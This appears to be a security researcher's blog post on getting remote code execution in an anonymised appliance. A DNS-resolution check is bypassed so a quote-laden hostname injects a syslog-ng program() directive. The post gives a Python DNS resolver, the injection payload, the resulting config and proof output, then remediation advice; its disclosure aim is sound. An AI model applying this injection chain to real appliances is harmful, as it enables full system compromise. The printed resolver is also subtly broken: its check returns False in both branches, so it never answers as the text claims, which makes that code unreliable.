Intro

I recently came across an interesting attack chain in a client assessment that led to remote code execution (RCE). Whenever I come across RCE, I like to heavily document it, generalize any attack patterns/steps that could apply to similiar RCEs, and script the entire attack if possible. As part of that documentation process, I am going to write a blog post to share with the community that has given me a lot of knowledge for free. Thanks for reading!

Details

The vulnerable software this time is a software management appliance. As such, it is deployed as either an OS package (such a .deb or .rpm), as a virtual disk image, or in a multi-tenant SaaS. Let’s call the appliance the Shagohod for easy reference. The Shagohod is a critical peice of infrastructure with wide administrative reach, a key target for an attacker looking to subvert a network.

I was given credentials to the Shagohod and logged in. A number of complex features greeted me. When dealing with appliances such as the Shagohod, I usually poke at the settings panels first. They typically contain vulnerabilities because they perform dangerous functionality like changing network config, changing host settings, or other operating system interactions.

One setting was to configure a remote syslog listener. Normally the Shagohod routes all syslog messages to a local syslog server. Remote syslog allows you to send to syslog messages to a remote server for aggregation. The feature essentially accepted three inputs, a description, a host, and a port. I attempted SSRF and found no restrictions on the address or port, but the body of the message was static and not attacker-controlled. Because it wasn’t a URL, I didn’t find a way to get any attacker control of the message other than the destination socket. SSRF was a dead end.

I was able to get the partial source code from the Shagohod itself and looked at how this feature worked. I discovered that the feature does basically what you expect in the naive case. The steps are as follows:

  • take a host and port from an HTTP POST json body
  • input validation check on host and port
  • concatenate the checked host and port into a templated syslog-ng configuration file
  • restart the syslog-ng service

The two major things that jumped out to me were the use of string concatenation and the syslog-ng config format itself. The problem with using string concatenation in templates is that the input validation functions for HTTP do not apply for syslog-ng config templates. syslog-ng templates also combine code and data, allowing you to craft very complex configurations, including executing operating system commands.

If we can smuggle in “ (double quote) characters into our host parameter, we can break out of the intended syslog-ng template and start writing our own syslog-ng configuration commands. There was a security check in place to make sure the host and port did not contain any dangerous characters. The check looked like this pseudocode:

require IPaddress
require Resolv

host = params["host"]
port = Integer(params["port"])

if IPaddress(host) or Resolv.resolve(host):
    # valid address, allow configuration
    concat_into_template(host, port)
else:
    # invalid host, deny the request
    throw error

As you can see above, the code attempts to cast the host to an IP address class. If the cast fails, it attempts to resolve the host via DNS. If the host resolves, the input is deemed to be a valid domain! This means that to inject into the configuration file, the only requirement is that the host resolves.

At first, I didn’t believe this was possible. I didn’t think any DNS client would actually try to resolve domain names with special characters, but I was wrong. Ruby’s Resolv class does indeed resolve a domain like "a.example.com. To exploit the issue and bypass the security check, you need your own domain and to configure your own authoritative DNS servers. Next, you need to write a custom DNS server that will blindly resolve any subdomain no matter what. And finally, you need to craft an input that will be both a “valid” domain and a syslog-ng configuration directive.

The code for my custom resolver is shown below:

#!/usr/bin/env python

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

class DynamicResolver(object):
    def _dynamicResponseRequired(self, query):
        """
        Check the query to determine if a dynamic response is required.
        """
        if query.type == dns.A:
            return False
        return False


    def _doDynamicResponse(self, query):
        """
        Calculate the response to a query.
        """
        name = query.name.name
        answer = dns.RRHeader(
            name=name,
            payload=dns.Record_A(address='%s' % ("127.0.0.1")))
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional

    def query(self, query, timeout=None):
        """
        Check if the query should be answered dynamically, otherwise dispatch to
        the fallback resolver.
        """
        if self._dynamicResponseRequired(query):
            return defer.succeed(self._doDynamicResponse(query))
        else:
            return defer.fail(error.DomainError())

def main():
    """
    Run the server.
    """
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )
    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(10053, protocol)
    reactor.listenTCP(10053, factory)
    reactor.run()

if __name__ == '__main__':
    raise SystemExit(main())

After running the python code, you can then execute dig '".whatever.com' -p10053 @127.1 and you should get an IP address back! Now this would be good enough to cause a denial of service for syslog-ng as the double quote character would break the configuration. But how do we shell the server with this?

We can use the syslog-ng program() configuration option. This option is meant to be used to do things like “send me an email if we recieve a critical message”. Under the hood, this calls sh -c "input here" and allows direct RCE. I came up with the following proof-of-concept exploit

")};destination a{program("touch /tmp/test.");};log{source(s_src);destination(a);};destination b{network("." #.test.example.com

As you can see above, there are random periods (.) in the payload. This is because the domain would not resolve if there are more than 64 bytes per subdomain. We need to add periods to the payload to ensure the domain resolves. After the application processed the above request, it created a malicious syslog-ng configuration file, as shown below:

destination d_org_1_des_4 {
  network("")};destination a{program("touch /tmp/test.");};log{source(s_src);destination(a);};destination b{network("." #.test.example.com
    keep-alive(no)
    flags(syslog-protocol)
    persist-name("d_org_1_des_4")
    transport("udp")
    port(8091)
  );
};

The syslog-ng service was automatically restarted, and triggered our command, as shown below:

[root@testhost ~]# ls -l /tmp/test. 
-rw-rw-r-- 1 vagrant vagrant 0 Jan 1 00:00 /tmp/test.

Conclusion

Overall, the impact of the vulnerablity was total compromise of the Shagohod. The syslog-ng service was running as the Shagohod user on the system. To remediate the issue, I recommend the following:

  • Do not trust DNS responses for a security control, especially with recursive lookups
  • Always filter user input, even if something shouldn’t be possible.

If you come up with more interesting uses of this bypass or use this bypass, hit me up at benmap <@> rooted.systems. I just discovered this was possible and am very curious where else this might apply.